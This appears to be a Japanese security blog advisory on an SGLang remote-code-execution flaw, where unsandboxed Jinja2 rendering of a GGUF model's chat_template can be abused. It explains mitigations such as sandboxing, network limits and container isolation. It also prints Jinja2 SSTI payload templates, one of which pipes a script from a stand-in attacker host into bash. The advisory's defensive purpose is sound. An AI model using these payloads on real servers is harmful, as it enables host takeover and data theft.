信頼度ランク
| S | 公式ソース確認済み |
| A | 成功実績多数・失敗例少数 |
| B | 賛否両論 |
| C | 動作未確認・セキュリティリスク高 |
| Z | 個人所感 |
SGLang CVE-2026-5760(CVSS 9.8)——悪意あるGGUFモデルが推論サーバーをRCEに陥らせるJinja2 SSTI攻撃
SGLang 0.59のリランキングエンドポイント(/v1/rerank)にCVSS 9.8のRCE脆弱性。HuggingFaceからダウンロードした悪意あるGGUFモデルのtokenizer.chat_templateにJinja2 SSTIペイロードを仕込むことで任意コードを実行できる。パッチ未提供、即時緩和策を解説。
一言結論
SGLangのリランキングエンドポイントはGGUFモデルのchat_templateをサンドボックスなしのjinja2.Environment()で実行するため、細工されたモデルをHuggingFaceからダウンロードするだけでサーバーを完全制圧できる。公式パッチは存在せず、ImmutableSandboxedEnvironmentへの切り替えのみが現時点での緩和手段だ。
概要
2026年4月20日、CERT/CCがCVE-2026-5760を公開した。SGLang(高性能LLM推論フレームワーク)のリランキングエンドポイントにCVSS 9.8のリモートコード実行(RCE)脆弱性が存在する。
CVE-2026-5760
CVSS: 9.8 (Critical)
影響製品: SGLang 0.59
攻撃経路: ネットワーク(認証不要)
影響: 任意コード実行、ホスト全制圧
パッチ: なし(2026年4月27日時点)
LLMをローカルやクラウドでセルフホストしている開発者・MLエンジニアは即座に確認が必要だ。
脆弱性の仕組み
根本原因:サンドボックスなしのJinja2環境
SGLangはGGUF形式のモデルファイルに埋め込まれたtokenizer.chat_templateフィールドをJinja2テンプレートとして処理する。問題はこのテンプレートの評価にjinja2.Environment()を使っており、任意のPythonコードが実行可能な状態になっていることだ。
# ❌ SGLang 0.59の脆弱なコード(概念的)
from jinja2 import Environment
env = Environment() # サンドボックスなし
result = env.from_string(model.tokenizer.chat_template).render(messages=messages)
# → chat_templateに悪意ペイロードが含まれていると任意コードが実行される
# ✅ 正しい実装
from jinja2.sandbox import ImmutableSandboxedEnvironment
env = ImmutableSandboxedEnvironment() # 任意コード実行をブロック
result = env.from_string(model.tokenizer.chat_template).render(messages=messages)
攻撃のトリガー:/v1/rerank エンドポイント
脆弱なコードパスは/v1/rerankエンドポイントを通じてトリガーされる。攻撃者は以下の手順でRCEを達成する。
攻撃シナリオ:
1. 攻撃者がHuggingFaceに悪意あるGGUFモデルを公開
(正規モデルに見せかけた "malicious-bert-reranker" など)
2. 開発者が malicious-bert-reranker をダウンロードしてSGLangで起動
3. /v1/rerank エンドポイントへリクエストが届く
4. SGLangがGGUFの tokenizer.chat_template を Jinja2 でレンダリング
5. chat_template 内のSSTIペイロードが実行される:
{{ ''.__class__.__mro__[1].__subclasses__() ... }}
→ 任意のシェルコマンド実行
6. 推論サーバーが完全に乗っ取られる
SSTI ペイロードのパターン
Jinja2 SSTIは古典的な攻撃手法で、テンプレート内でPythonのオブジェクト階層を辿ることで任意コードを実行する。
# Jinja2 SSTIの典型パターン(教育目的)
# chat_template フィールドに埋め込まれる例:
# 1. subprocessを呼び出す
{{ ''.__class__.__mro__[1].__subclasses__()[<idx>]('id', shell=True, ...) }}
# 2. os.systemを使う
{{ config.__class__.__init__.__globals__['os'].system('curl attacker.com/shell.sh | bash') }}
これらのペイロードはImmutableSandboxedEnvironmentでは実行がブロックされる。
影響範囲
CVE-2026-5760が悪用されると以下の被害が発生しうる。
深刻度別の影響:
🔴 最高: ホスト完全制圧
→ 推論サーバーのルート権限取得
→ 社内ネットワークへの横展開(lateral movement)
🔴 高: データ流出
→ 推論サーバー上の全ファイル・環境変数
→ モデルウェイト・学習データ
→ クラウド認証情報(IMDS経由のIAMロール含む)
🟠 中: サービス妨害
→ 推論サービスのダウン
→ GPU リソースの無断利用(LLMjacking)
緩和策(パッチ代替)
公式パッチは存在しないため、以下の対応を優先順位順に実施する。
1. ImmutableSandboxedEnvironment に切り替える(根本的解決)
SGLangを直接使っているまたはフォークしているチームは、テンプレートレンダリング箇所を修正する。
# 修正前
from jinja2 import Environment
env = Environment()
# 修正後
from jinja2.sandbox import ImmutableSandboxedEnvironment
env = ImmutableSandboxedEnvironment()
2. /v1/rerank エンドポイントをネットワークレベルで制限する
# nginxでリランキングエンドポイントを内部からのみ許可する例
location /v1/rerank {
allow 10.0.0.0/8;
allow 172.16.0.0/12;
allow 192.168.0.0/16;
deny all;
proxy_pass http://sglang_backend;
}
3. モデルを信頼済みソースからのみロードする
# HuggingFaceモデルをダウンロードする前にメタデータを確認
huggingface-cli scan-cache
# モデルファイルのchat_templateを確認するスクリプト
python3 -c "
import json, struct, sys
def read_gguf_metadata(path):
with open(path, 'rb') as f:
magic = f.read(4)
if magic != b'GGUF':
return None
# 省略: GGUFヘッダーパース
pass
# 本番では gguf-metadata パッケージを使用
from gguf import GGUFReader
reader = GGUFReader(sys.argv[1])
for key in reader.fields:
if 'chat_template' in key:
print(key, ':', reader.fields[key])
" model.gguf
4. サンドボックス環境でモデルを実行する
# 最小権限のDockerコンテナでSGLangを実行
FROM nvcr.io/nvidia/cuda:12.4.0-base-ubuntu22.04
RUN useradd -m -u 1000 sglang
USER sglang
# 読み取り専用ファイルシステムでモデルボリュームをマウント
# docker run --read-only -v /models:/models:ro ...
背景:モデルファイルもコードと同じくリスクがある
この脆弱性が示す本質的な問題は、モデルファイルがコードと同等のリスクを持つということだ。
開発者が本能的に警戒するもの:
✅ 不審なnpmパッケージ
✅ 第三者のDockerイメージ
✅ 未検証のシェルスクリプト
開発者が警戒しにくいもの:
❌ HuggingFaceの"人気"GGUFモデル
❌ モデルカード記載の「安全な」モデル
❌ フォーク・派生モデルのメタデータ
HuggingFaceはモデルのマルウェアスキャンを行っているが、メタデータのSSTIペイロードは静的解析だけでは検出が難しい。
注意点・未確認情報
- SGLang 0.59以外のバージョンへの影響は調査中(他のバージョンにも同様のコードパスが存在する可能性がある)
- 脆弱性の実際の悪用(野良での攻撃)は2026年4月27日時点で確認されていない
- SGLangメンテナーとのコーディネーションはCERT/CCが試みたが応答なし(パッチ未提供の理由)
- 他のLLM推論フレームワーク(vLLM, llamafile等)も同様のJinja2使用箇所がないか確認が推奨される
まとめ
- SGLang 0.59の
/v1/rerankエンドポイントはGGUFのchat_templateをサンドボックスなしで実行しRCEを許す - 根本的な修正は
ImmutableSandboxedEnvironmentへの切り替えのみ(公式パッチなし) - 今すぐ: エンドポイントのネットワーク制限 + 使用モデルのchat_template確認
- モデルファイルはnpmパッケージと同等の信頼性検証が必要